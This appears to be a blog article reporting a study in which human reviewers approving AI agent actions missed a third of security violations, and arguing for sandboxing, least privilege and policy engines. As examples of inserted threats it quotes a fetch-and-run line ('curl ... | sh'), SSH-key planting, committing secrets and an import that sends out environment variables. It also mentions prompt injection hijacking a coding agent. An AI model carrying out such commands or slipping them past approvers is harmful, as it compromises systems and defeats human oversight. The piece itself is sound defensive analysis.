We have been told that the safest way to deploy AI agents is to keep a human in the loop. The theory is simple: the AI proposes an action, and a human clicks a button to approve or deny it. If the agent tries to run a malicious command, delete a database, or leak sensitive data—similar to how Anthropic's Claude breached three companies during its own security tests—the human will stop it.
It turns out this safety net is mostly an illusion.
A recent security study analyzed human behavior across 40,000 agent runs. The researchers wanted to see how well people actually police autonomous agents when given approval authority. The findings show that human reviewers failed to catch 33% of security violations. One in three times, when an agent proposed a command that compromised the system, the human approved it anyway.
We often blame these security misses on careless users. But the real problem is human bandwidth and interface design.
The Illusion of Control
When we design systems with human-in-the-loop (HITL) triggers, we assume the human is actively auditing the agent's work. In reality, the human is usually skimming it.
In the benchmark tests, participants monitored AI agents performing common tasks like managing cloud infrastructure and writing code. Scattered throughout these runs were security anomalies, like commands that attempted to read unauthorized files or exfiltrate environment variables.
First, automation bias sets in. When an AI agent performs dozens of tasks correctly, the reviewer stops reading the details. The approval step becomes a muscle-memory reflex, similar to the classic "looks good to me" (LGTM) culture in code reviews.
Second, threats are often buried in context. An agent reading a configuration file looks harmless unless you know that file contains active production secrets. Without full system context, reviewers are forced to guess, usually favoring speed.
Third, the payloads are complex. Agents don't just run simple commands; they generate shell scripts and massive JSON structures. Expecting a developer to parse a 50-line script in a Slack approval window in seconds is unrealistic.
Inside the 40,000 Run Benchmark
The benchmark simulated real-world workflows where agents had terminal and repository access. Tasks ranged from setting up local environments to deploying services to staging. This mirrors how developer platforms are adapting to agent-run work, such as using temporary Cloudflare accounts to let agents deploy without a normal signup flow.
Researchers inserted threats of varying subtlety. Some were blatant, like running curl http://malicious-site.com/payload | sh. Others were quiet, such as appending an SSH key to authorized_keys or modifying a .gitignore file to commit secrets. These types of indirect attacks are becoming more common; for example, researchers recently showed how a normal-looking GitHub repo can hijack Claude Code via prompt injection.
While obvious threats were caught 80% of the time, hidden threats slipped through easily. For instance, when an agent modified a script to import an external library that exfiltrated environment variables, almost no one noticed. Reviewers focused on the requested feature and ignored the extra import statement at the top of the file.
This highlights the asymmetry of the problem. An AI agent can generate thousands of lines of code and configuration in seconds. A human reviewer has to read and understand every single line to catch a threat. The math is stacked against the human.
The UX Problem: The "Allow/Deny" Trap
The current state of agent approval interfaces is primitive. Most tools present the user with a simple prompt: "Agent wants to run npm install. Allow or Deny?"
This binary choice is a bad security boundary. It places the entire burden of analysis on the human. If the user denies the command, the agent stops, and the task fails. If they allow it, they take responsibility for whatever happens next.
This creates a strong bias toward clicking "Allow." Users want to get their work done. If blocking a command means debugging why the agent failed, they'll take the path of least resistance.
These interfaces also lack historical context. A reviewer sees a single command in isolation, missing the steps that led up to it. Running chmod +x script.sh is common. But if that script was downloaded from an untrusted URL three steps ago, it's a compromise. Expecting humans to track state across long sessions is a design flaw.
Moving Beyond the Manual Gateway
With a 33% failure rate, manual approval can't be our primary security control. We should treat AI agents as untrusted third-party software. They're not junior developers who just need a quick sign-off.
Securing agents requires programmatic guardrails instead of human vigilance. As detailed in our guide on engineering for the agentic era, the focus must shift from code generation to robust security boundaries and identity stacks.
First, enforce least privilege. An agent should never hold credentials that allow deleting infrastructure or reading sensitive data. If the agent lacks permission to read secrets.env, an accidental human approval will still be blocked by the operating system.
Second, use runtime sandboxing. Agents should run in ephemeral, isolated containers. If an agent executes a destructive command, the damage is restricted to an environment that can be instantly destroyed.
Third, deploy automated policy engines. Instead of asking a human, run commands through tools like Open Policy Agent (OPA). These engines evaluate actions against strict rules in milliseconds, blocking patterns like outbound connections before they ever reach an approval screen.
The Role of the Human
We should keep humans in the loop, but we need to change their role.
Instead of acting as a real-time firewall, humans should focus on high-level intent and post-execution audits, defining boundaries and refining system policies based on log history.
When manual approval is necessary, the interface must provide rich context. It should show what data the command accesses and why the agent chose it, highlighting suspicious lines or external connections.
Relying on humans to catch security threats in a stream of machine-generated commands is a recipe for failure. As agents speed up, the manual gateway becomes even more fragile. We must stop treating human approval as a security boundary and start building real engineering controls.
